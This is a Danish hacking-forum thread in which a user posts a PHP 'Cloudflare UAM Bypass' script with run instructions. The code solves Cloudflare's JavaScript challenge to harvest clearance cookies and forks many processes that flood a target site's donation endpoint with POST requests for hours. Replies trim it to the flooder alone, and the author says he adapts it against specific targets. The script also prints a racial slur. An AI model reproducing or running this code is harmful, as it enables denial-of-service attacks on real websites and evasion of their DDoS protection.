23-08-2015, 23:32
(Denne besked var sidst ændret: 27-08-2015, 02:51 af Sc0rp10n.)
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
PHP | Cloudflare UAM Bypass + Instrukser
Du executor scriptet på din server med PHP.
Eksempel: php var/tmp/cf.php http://site.com/ 0 150 86400
Hvis du har startet scriptet korrekt får du et echo med følgende tekst: "Starting the shit nigga"
Hints:
Hvis php ikke er installeret, installer det. yum, apt-get eller andet you know the drill.
chmod 777 filnavn.php
Resten er forklaret ovenover :)
Love to shellsec
<?PHP
/*
Sc0rp10n <sc0rp10n@entropy.im>
Cloudflare UAM Bypass (CFBYPASS)
BETA version - sorry for flaws </3
Ok brows, i har været så søde at jeg har smidt nogle hints ud til at bruge mit script.
*/
error_reporting(0);
function multiequation($string) {
preg_match("/\)\+\(/", $string, $data);
if ($data == NULL) {
return false; }
else {
return true;
}
}
function rand_line($fileName, $maxLineLength = 4096) {
$handle = @fopen($fileName, "r");
if ($handle) {
$random_line = null;
$line = null;
$count = 0;
while (($line = fgets($handle, $maxLineLength)) !== false) {
$count++;
if(rand() % $count == 0) {
$random_line = $line;
}
}
if (!feof($handle)) {
echo "Error: unexpected fgets() fail\n";
fclose($handle);
return null;
} else {
fclose($handle);
}
return $random_line;
}
}
function cfbypass($domain, $proxy, $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1")
{
$rd = explode("/", $domain);
$tlen = strlen($rd[2]);
$array = array();
$cURL = curl_init();
curl_setopt($cURL, CURLOPT_URL, $domain);
curl_setopt($cURL, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cURL, CURLOPT_HEADER, 1);
curl_setopt($cURL, CURLOPT_PROXY, $proxy);
curl_setopt($cURL, CURLOPT_USERAGENT, $useragent);
curl_setopt($cURL, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($cURL, CURLOPT_COOKIEFILE, "cookie.txt");
$data = curl_exec($cURL);
preg_match("/var t,r,a,f,(.*?)\"/", $data, $jschl_vc);
preg_match("/setTimeout\(function\(\){(.*?);a\.value/s", $data, $vars);
$full = trim($vars[1]);
preg_match("/var t,r,a,f,(.*?):/", $full, $mainvar);
$mvar = explode("=", trim($mainvar[1]));
preg_match("/\"(.*?)\"/", $mvar[1], $v2);
$fvar = "".$mvar[0].".".$v2[1]."";
list($line1) = explode("\n", $full);
$equation1 = explode(":", $line1);
preg_match_all("/\((.*?)\)/", $equation1[1], $eq1m, PREG_SET_ORDER);
$count = count($eq1m);
if ($count == 0) {
$lmao = explode("}", $equation1[1]);
$yolo = explode("+", $lmao[0]);
$nc = 0;
foreach ($yolo as $int) {
if ($int == "!" || $int == "!![]" || $int == "![]") {
$nc++;
}
}
$ans1 = "$nc\n";
} else {
foreach ($eq1m as $eq) {
if (substr($eq[1], 0, 1) == "(") {
$furl = substr($eq[1], 1);
$yolo1 = explode("+", $furl);
$mc = 0;
foreach ($yolo1 as $int1) {
if ($int1 == "!" || $int1 == "!![]" || $int1 == "![]") {
$mc++;
}
}
} else {
$yolo2 = explode("+", $eq[1]);
$mc1 = 0;
foreach ($yolo2 as $int2) {
if ($int2 == "!" || $int2 == "!![]" || $int2 == "![]") {
$mc1++;
}
}
}
}
$ans1 = "$mc$mc1\n";
}
preg_match("/$fvar(.*?);a\.value/s", $data, $NowWeActuallyStart);
$itbegins = explode(";", $NowWeActuallyStart[1]);
foreach ($itbegins as $begin) {
$first = substr($begin, 0, 1);
if (!ctype_alpha($first)) {
$operator = substr($begin, 0, 3);
$top = substr($begin, 0);
$lick = "".$fvar."".$top."";
$mathit = explode("=", $lick);
$oper = substr($operator, 0, 1);
$solve1 = explode("+", $mathit[1]);
$c1 = 0;
if (multiequation($mathit[1]) == FALSE) {
foreach ($solve1 as $boolv1) {
if ($boolv1 == "!" || $boolv1 == "!![]" || $boolv1 == "![]") {
$c1++;
}
}
array_push($array, "$c1$oper");
} else if (multiequation($mathit[1]) == TRUE) {
$swag1 = explode(")+(", $mathit[1]);
foreach ($swag1 as $swiggity1) {
$first1 = substr($swiggity1, 0, 3);
if ($first1 == "+((") {
$new1 = substr($swiggity1, 3);
$firstlast1 = explode("+", $new1);
$soclose1 = 0;
foreach ($firstlast1 as $me11) {
if ($me11 == "!" || $me11 == "!![]" || $me11 == "![]") {
$soclose1++;
}
}
} else {
$new21 = substr($swiggity1, 0, -2);
$lastlast1 = explode("+", $new21);
$ending1 = 0;
foreach ($lastlast1 as $me21) {
if ($me21 == "!" || $me21 == "!![]" || $me21 == "![]") {
$ending1++;
}
}
}
}
$fanswer1 = "".$soclose1."".$ending1."";
array_push($array, "$fanswer1$oper");
}
} else {
$operator = substr($begin, strlen($fvar), 3);
$top = substr($begin, 0);
$oper = substr($operator, 0, 1);
$mathit = explode("=", $begin);
$solve2 = explode("+", $mathit[1]);
$c21 = 0;
if (multiequation($mathit[1]) == FALSE) {
foreach ($solve2 as $boolv2) {
if ($boolv2 == "!" || $boolv2 == "!![]" || $boolv2 == "![]") {
$c21++;
}
}
array_push($array, "$c21$oper");
} else if (multiequation($mathit[1]) == TRUE) {
$swag = explode(")+(", $mathit[1]);
foreach ($swag as $swiggity) {
$first = substr($swiggity, 0, 3);
if ($first == "+((") {
$new = substr($swiggity, 3);
$firstlast = explode("+", $new);
$soclose = 0;
foreach ($firstlast as $me1) {
if ($me1 == "!" || $me1 == "!![]" || $me1 == "![]") {
$soclose++;
}
}
} else {
$new2 = substr($swiggity, 0, -2);
$lastlast = explode("+", $new2);
$ending = 0;
foreach ($lastlast as $me2) {
if ($me2 == "!" || $me2 == "!![]" || $me2 == "![]") {
$ending++;
}
}
}
}
$fanswer = "".$soclose."".$ending."";
array_push($array, "$fanswer$oper");
}
}
}
$FINALLY = $ans1;
foreach($array as $element) {
$method = substr($element, -1);
$number = substr($element, 0, -1);
if ($method == "+") {
$FINALLY += $number;
} else if ($method == "-") {
$FINALLY -= $number;
} else if ($method == "*") {
$FINALLY = $FINALLY * $number;
}
}
$tba = ($FINALLY + $tlen);
preg_match("/jschl_vc\" value=\"(.*?)\"/", $data, $cid);
$url = "".$domain."cdn-cgi/l/chk_jschl?jschl_vc=$cid[1]&jschl_answer=$tba";
$check = curl_init();
curl_setopt($check, CURLOPT_URL, $url);
curl_setopt($check, CURLOPT_RETURNTRANSFER, true);
curl_setopt($check, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($check, CURLOPT_USERAGENT, $useragent);
curl_setopt($check, CURLOPT_PROXY, $proxy);
curl_setopt($check, CURLOPT_HEADER, 1);
curl_setopt($check, CURLOPT_COOKIEFILE, "cookie.txt");
$data2 = curl_exec($check);
preg_match_all('/^Set-Cookie:\s*([^\r\n]*)/mi', $data2, $ms);
$cookies = array();
foreach ($ms[1] as $m) {
list($name, $value) = explode('=', $m, 2);
$cookies[$name] = $value;
}
$cookie = '';
foreach ($cookies as $key => $value) {
$cookie .= ($key) ."=". ($value);
}
$bypasscookies = explode(";", $cookie);
$cfduid = $bypasscookies[0];
$cf_clearence = substr($bypasscookies[4], 9);
$bypasscookie = "".$cfduid."; ".$cf_clearence."";
return $bypasscookie;
}
if($argc != 5) {
echo "You're not permitted to use this!";
die();
}
$end = time() + $argv[4];
$childcount = $argv[3];
echo "Starting the shit nigga\n";
for($i = 0; $i < $childcount; $i ++)
{
$pid = pcntl_fork();
if ($pid == -1) {
echo "failed to fork on loop $i of forking\n";
exit;
} else if ($pid) {
continue;
} else {
while($end > time()) {
$fields = array( 'cause'=> 'donation-for-august', 'amount'=> 15, 'submit.x'=> 76, 'submit.y' => 19);
$postvars = '';
foreach($fields as $key=>$value) {
$postvars .= urlencode($key) . "=" . urlencode($value) . "&";
}
$manga = curl_init();
curl_setopt($manga, CURLOPT_URL, $argv[1]."donation_can_ipn/start_donation");
curl_setopt($manga, CURLOPT_RETURNTRANSFER, true);
curl_setopt($manga, CURLOPT_POST, 1);
curl_setopt($manga, CURLOPT_POSTFIELDS, $postvars);
curl_setopt($manga, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($manga, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1");
curl_setopt($manga, CURLOPT_HEADER, 1);
curl_exec($manga);
curl_close($manga);
}
die;
}
}
for($j = 0; $j < $childcount; $j++)
{
$pid = pcntl_wait($status);
}
|
|
24-08-2015, 00:51
|
|
awezum
yoo
|
Indlæg: 120
Registreret: Jul 2013
Omdømme:
5
|
|
RE: Cloudflare UAM Bypass
Ser godt ud! Jeg har dog ikke prøvet det endnu.
Hvis man ikke ved hvad UAM står for, så er det en forkortelse for "I'm Under Attack" mode
Citer:"I'm Under Attack" will add additional protections to a site that is under attack and needs DDoS protection and mitigation. If you're under attack and have this feature enabled during the attack, visitors will receive an interstitial page for about five seconds while we analyze the traffic to make sure it is a legitimate human visitor.
Note: Visitors to the site must have JavaScript and Cookies enabled to pass the interstitial page.
|
|
24-08-2015, 12:30
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
RE: Cloudflare UAM Bypass
Har opdateret tråden en lille smule med nogle hints der fremmer forståelsen af hvordan scriptet skal bruges
|
|
24-08-2015, 12:48
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
RE: Cloudflare UAM Bypass
(24-08-2015, 12:46)BigJ Skrev: De der variabler der, jeg kan umuligt være den eneste der tænker på følgende billede
Har kun kigget det igennem meget kort, men ser fint ud. Virker dog lidt hacked together, ikke så meget orden etc. :) Men det kan selvfølgelig bare være fordi at jeg ikke ser det på siden, og det er lang tid siden jeg har kodet PHP. Ville se pænt ud i Python tror jeg, uden alt det curl. :)
Nu halter mit php også så det kunne også være mig der roder ;)
Funktionalitet er nummer 1 på min vigtigheds liste ;)
|
|
24-08-2015, 13:10
(Denne besked var sidst ændret: 24-08-2015, 13:12 af Sc0rp10n.)
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
RE: Cloudflare UAM Bypass
(24-08-2015, 13:02)BigJ Skrev: Hele koden koger ned til 51 linjer, i stedet for 289 linjer (minus kommentar i toppen). De funktioner der er defineret i starten, bliver jo slet ikke brugt. Derudover så bliver "argv[2]" heller ikke brugt. Helt ligegyldig i hele koden.
Så det vi har er i princippet (så vidt jeg kan se), et PHP script som spawner en masse child processes, som så laver noget er skal ligner en donation eller IPN (Instant Payment Notification) kald. Hvilket så vil bypass CloudFlare UAM, da de nok gerne vil have fx. PayPal IPN donationer igennem?
<?php
error_reporting(0);
if ($argc != 5) {
echo "You're not permitted to use this!";
die();
}
$end = time() + $argv[4];
$childcount = $argv[3];
echo "Starting the shit nigga\n";
for ($i = 0; $i < $childcount; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "failed to fork on loop $i of forking\n";
exit;
} else if ($pid) {
continue;
} else {
while($end > time()) {
$fields = array(
'cause' => 'donation-for-august',
'amount' => 15,
'submit.x' => 76,
'submit.y' => 19
);
$postvars = '';
foreach ($fields as $key => $value) {
$postvars .= urlencode($key) . "=" . urlencode($value) . "&";
}
$manga = curl_init();
curl_setopt($manga, CURLOPT_URL, $argv[1] . "donation_can_ipn/start_donation");
curl_setopt($manga, CURLOPT_RETURNTRANSFER, true);
curl_setopt($manga, CURLOPT_POST, 1);
curl_setopt($manga, CURLOPT_POSTFIELDS, $postvars);
curl_setopt($manga, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($manga, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1");
curl_setopt($manga, CURLOPT_HEADER, 1);
curl_exec($manga);
curl_close($manga);
}
die;
}
}
for ($j = 0; $j < $childcount; $j++) {
$pid = pcntl_wait($status);
}
?>
De andre funktioner sender en formular og læser en cookie og så sender den jo også en IPN formular som du har forkortet den til.
cookien indeholder jo bagende details.
Eksempel kig nærmere på PHP kode: $tba = ($FINALLY + $tlen); preg_match("/jschl_vc\" value=\"(.*?)\"/", $data, $cid); $url = "".$domain."cdn-cgi/l/chk_jschl?jschl_vc=$cid[1]&jschl_answer=$tba"; $check = curl_init(); curl_setopt($check, CURLOPT_URL, $url); curl_setopt($check, CURLOPT_RETURNTRANSFER, true); curl_setopt($check, CURLOPT_FOLLOWLOCATION, true); curl_setopt($check, CURLOPT_USERAGENT, $useragent); curl_setopt($check, CURLOPT_PROXY, $proxy); curl_setopt($check, CURLOPT_HEADER, 1); curl_setopt($check, CURLOPT_COOKIEFILE, "cookie.txt"); $data2 = curl_exec($check); preg_match_all('/^Set-Cookie:\s*([^\r\n]*)/mi', $data2, $ms);
|
|
24-08-2015, 13:18
(Denne besked var sidst ændret: 24-08-2015, 13:25 af Sc0rp10n.)
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
RE: Cloudflare UAM Bypass
(24-08-2015, 13:12)BigJ Skrev: Den funktion bliver ikke kaldt, så alt det der står deri er ligegyldigt. I hvert fald hvis du bruger det direkte som du har givet det.
EDIT: Ret mig meget gerne, hvis jeg har overset et funktions kald. :)
Jeg må have haft sat et funktions kald et eller andet sted, ellers skal man selv sætte funktionen til.
EDIT: Har det med at redigere scriptet til min fordel mod et specifikt mål. Men tænkte at jeg ville smide det op da jeg så kan begynde at genopfriske mit PHP.
Meningen var jo også lidt selv at folk skulle redigere i det selv.
Men det er også en beta version som roder i koden :)
|
|
24-08-2015, 13:29
|
|
Sc0rp10n
Expose 'Em
|
Indlæg: 25
Registreret: May 2013
|
|
RE: Cloudflare UAM Bypass
(24-08-2015, 13:27)BigJ Skrev: Yes yes, det må folk jo selv, som jeg også lavet en edit til i min kommentar. Det er fedt at du gider at dele din kode i hvert fald ;) Kan være jeg selv får lyst til at bruge den, evt. ændre lidt i den :)
Det cool, så må du jo eventuelt dele lidt af koden hvis du skriver den i et andet sprog ;)
|
|
|